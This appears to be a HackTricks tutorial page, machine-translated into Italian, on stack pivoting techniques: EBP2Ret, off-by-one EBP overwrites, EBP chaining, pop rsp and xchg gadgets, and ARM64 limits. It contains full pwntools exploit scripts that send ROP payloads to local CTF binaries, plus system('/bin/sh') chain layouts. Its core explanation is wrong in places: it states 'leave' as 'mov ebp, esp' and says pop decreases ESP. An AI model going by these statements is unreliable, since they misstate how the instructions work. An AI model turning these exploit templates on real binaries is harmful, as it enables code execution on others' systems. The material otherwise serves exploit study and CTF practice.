12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP) per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni leave; ret
.
Come promemoria, leave
significa fondamentalmente:
mov ebp, esp
pop ebp
ret
And as the EBP è nello stack prima dell'EIP, è possibile controllarlo controllando lo stack.
EBP2Ret
Questa tecnica è particolarmente utile quando puoi modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
Se, durante l'esecuzione di fvuln
, riesci a iniettare un fake EBP nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione pop
), puoi controllare indirettamente l'EIP. Quando fvuln
restituisce, l'ESP è impostato su questa posizione creata, e l'operazione pop
successiva diminuisce l'ESP di 4, facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.
Nota come devi conoscere 2 indirizzi: Quello dove l'ESP andrà, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
Costruzione dell'Exploit
Prima devi conoscere un indirizzo dove puoi scrivere dati / indirizzi arbitrari. L'ESP punterà qui e eseguirà il primo ret
.
Poi, devi conoscere l'indirizzo utilizzato da ret
che eseguirà codice arbitrario. Potresti usare:
- Un indirizzo valido ONE_GADGET.
- L'indirizzo di
system()
seguito da 4 byte spazzatura e l'indirizzo di"/bin/sh"
(x86 bits). - L'indirizzo di un gadget
jump esp;
(ret2esp) seguito dal shellcode da eseguire. - Alcuna catena ROP
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci 4
byte a causa della parte pop
dell'istruzione leave
. Sarebbe possibile abusare di questi 4B per impostare un secondo fake EBP e continuare a controllare l'esecuzione.
Off-By-One Exploit
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi modificare solo il byte meno significativo dell'EBP. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il ret
deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita.
EBP Chaining
Pertanto, mettendo un indirizzo controllato nell'entrata EBP
dello stack e un indirizzo per leave; ret
in EIP
, è possibile spostare l'ESP
all'indirizzo EBP
controllato dallo stack.
Ora, l'ESP
è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un RET
. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
&(next fake EBP)
-> Carica il nuovo EBP a causa dipop ebp
dall'istruzioneleave
system()
-> Chiamato daret
&(leave;ret)
-> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà&("/bin/sh")
-> Parametro persystem
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un ret2lib, ma più complesso senza apparenti vantaggi, ma potrebbe essere interessante in alcuni casi limite.
Inoltre, qui hai un esempio di una sfida che utilizza questa tecnica con un leak dello stack per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP potrebbe non essere utilizzato
Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni, l'EBP non controlla mai l'ESP, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.
Questo è dovuto al fatto che i prologhi e gli epiloghi cambiano se il binario è ottimizzato.
- Non ottimizzato:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Ottimizzato:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Altri modi per controllare RSP
pop rsp
gadget
In questa pagina puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un pop rsp
gadget e c'era una leak dallo stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Controlla la tecnica ret2esp qui:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Riferimenti e Altri Esempi
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci
.fini_array
+ chiamando__libc_csu_fini
(maggiori informazioni qui). Abusando di questo "eterno" write, viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
ARM64
In ARM64, i prologhi e gli epiloghi delle funzioni non memorizzano e recuperano il registro SP nello stack. Inoltre, l'istruzione RET
non restituisce all'indirizzo puntato da SP, ma all'indirizzo dentro x30
.
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo non sarai in grado di controllare il registro SP sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per controllare il registro x30
.
- prologo
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP punta al record del frame
- epilogo
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di controllare lo SP
(controllando qualche registro il cui valore viene passato a SP
o perché per qualche motivo SP
sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell'epilogo per caricare il registro x30
da un SP
controllato e RET
a esso.
{% endhint %}
Inoltre, nella pagina seguente puoi vedere l'equivalente di Ret2esp in ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.